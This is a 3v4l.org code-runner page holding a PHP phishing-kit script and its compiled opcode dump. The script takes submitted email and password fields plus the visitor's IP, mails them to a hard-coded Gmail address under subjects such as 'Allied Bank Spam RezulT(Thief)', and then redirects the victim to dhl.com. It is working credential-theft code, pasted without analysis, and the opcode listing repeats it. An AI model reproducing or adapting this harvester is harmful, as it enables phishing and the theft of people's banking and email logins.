3v4l.org

run code in 300+ PHP versions simultaneously
<? $ip = getenv("REMOTE_ADDR"); $message .= "--------------Ali Spam ReZulT-----------------------\n"; $message .= "USERNAME : ".$_POST['email']."\n"; $message .= "Password : ".$_POST['pass']."\n"; $message .= "IP: ".$ip."\n"; $message .= "---------------Created By DAN------------------------------\n"; $recipient = "bar.marym@gmail.com"; $subject = "wang"; $headers = "From"; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; mail("", "Allied Bank Spam RezulT(Thief)", $message); if (mail($recipient,$subject,$message,$headers)) { header("Location: http://www.dhl.com"); } else { echo "ERROR! Please go back and try again."; } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 39, Position 2 = 43
Branch analysis from position: 39
1 jumps found. (Code = 42) Position 1 = 44
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 43
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ni0l6
function name:  (null)
number of ops:  45
compiled vars:  !0 = $ip, !1 = $message, !2 = $recipient, !3 = $subject, !4 = $headers
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'getenv'
          1        SEND_VAL                                                 'REMOTE_ADDR'
          2        DO_ICALL                                         $5      
          3        ASSIGN                                                   !0, $5
    4     4        ASSIGN_OP                                     8          !1, '--------------Ali+Spam+ReZulT-----------------------%0A'
    5     5        FETCH_R                      global              ~8      '_POST'
          6        FETCH_DIM_R                                      ~9      ~8, 'email'
          7        CONCAT                                           ~10     'USERNAME+%3A+', ~9
          8        CONCAT                                           ~11     ~10, '%0A'
          9        ASSIGN_OP                                     8          !1, ~11
    6    10        FETCH_R                      global              ~13     '_POST'
         11        FETCH_DIM_R                                      ~14     ~13, 'pass'
         12        CONCAT                                           ~15     'Password+%3A+', ~14
         13        CONCAT                                           ~16     ~15, '%0A'
         14        ASSIGN_OP                                     8          !1, ~16
    7    15        CONCAT                                           ~18     'IP%3A+', !0
         16        CONCAT                                           ~19     ~18, '%0A'
         17        ASSIGN_OP                                     8          !1, ~19
    8    18        ASSIGN_OP                                     8          !1, '---------------Created+By+DAN------------------------------%0A'
   10    19        ASSIGN                                                   !2, 'bar.marym%40gmail.com'
   11    20        ASSIGN                                                   !3, 'wang'
   12    21        ASSIGN                                                   !4, 'From'
   13    22        FETCH_R                      global              ~25     '_POST'
         23        FETCH_DIM_R                                      ~26     ~25, 'eMailAdd'
         24        CONCAT                                           ~27     ~26, '%0A'
         25        ASSIGN_OP                                     8          !4, ~27
   14    26        ASSIGN_OP                                     8          !4, 'MIME-Version%3A+1.0%0A'
   15    27        INIT_FCALL                                               'mail'
         28        SEND_VAL                                                 ''
         29        SEND_VAL                                                 'Allied+Bank+Spam+RezulT%28Thief%29'
         30        SEND_VAR                                                 !1
         31        DO_ICALL                                                 
   16    32        INIT_FCALL                                               'mail'
         33        SEND_VAR                                                 !2
         34        SEND_VAR                                                 !3
         35        SEND_VAR                                                 !1
         36        SEND_VAR                                                 !4
         37        DO_ICALL                                         $31     
         38      > JMPZ                                                     $31, ->43
   18    39    >   INIT_FCALL                                               'header'
         40        SEND_VAL                                                 'Location%3A+http%3A%2F%2Fwww.dhl.com'
         41        DO_ICALL                                                 
   16    42      > JMP                                                      ->44
   23    43    >   ECHO                                                     'ERROR%21+Please+go+back+and+try+again.'
   26    44    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
172.74 ms | 1007 KiB | 16 Q